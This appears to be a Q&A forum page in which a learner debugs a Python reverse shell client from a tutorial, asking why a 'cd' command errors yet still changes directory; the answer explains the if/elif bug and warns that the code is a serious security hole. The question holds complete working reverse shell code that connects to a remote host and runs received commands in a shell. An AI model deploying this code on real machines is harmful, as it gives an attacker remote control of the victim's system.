anubhav
anubhav

Reputation: 103

Code gives Change directory error but still changes directory

import os
import socket
import subprocess
s = socket.socket()
host = '<my-ip>'
port = 9999
s.connect((host, port))
while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))
    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        outputBytes = cmd.stdout.read() + cmd .stderr.read()
        outputStr = str(outputBytes, "utf-8")
        s.send(str.encode(outputStr + str(os.getcwd() + '> ')))
        print (outputStr)

# Close connection
s.close()

I am trying to create a remote client-server app using python by going throught thenewboston's turorial for python reverse shell.

The above is the code for client.py. The thing is all the commands are working fine. When I use

cd "Directory Name With Space"

it gives me this error "The System Cannot Find The Path Specified". But it still changes the directory. I am not sure why it still changes the directory even after giving an error?

Upvotes: 0

Views: 209

Answers (1)

zvone
zvone

Reputation: 19382

There are two ifs here:

if data[:2].decode("utf-8") == 'cd':
    os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
    cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
                           stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                           stdin=subprocess.PIPE)
  • If a command starts with 'cd', the first block is executed (because it starts with 'cd').

  • If a command starts with 'cd', the second block is also executed (because it has length > 0).

The first block changes the directory even if it has spaces. The second block does not.

You want to use elif to prevent both blocks from executing:

if data[:2].decode("utf-8") == 'cd':
    os.chdir(data[3:].decode("utf-8"))
elif len(data) > 0:
    cmd = subprocess.Popen(...

BTW, there are other problems with this code:

  • 'cdefgh' will change directory to 'fgh'

  • 'cd abc' will try to change directory to ' abc' and probably fail

  • if Popen is used for anything but cd, I don't see why it would not be used for cd as well

  • exposing such interface in a server is a bigger security hole than any virus can hope to create - if you are doing this just to learn, burn the code as soon as you are done ;)

Upvotes: 1

Related Questions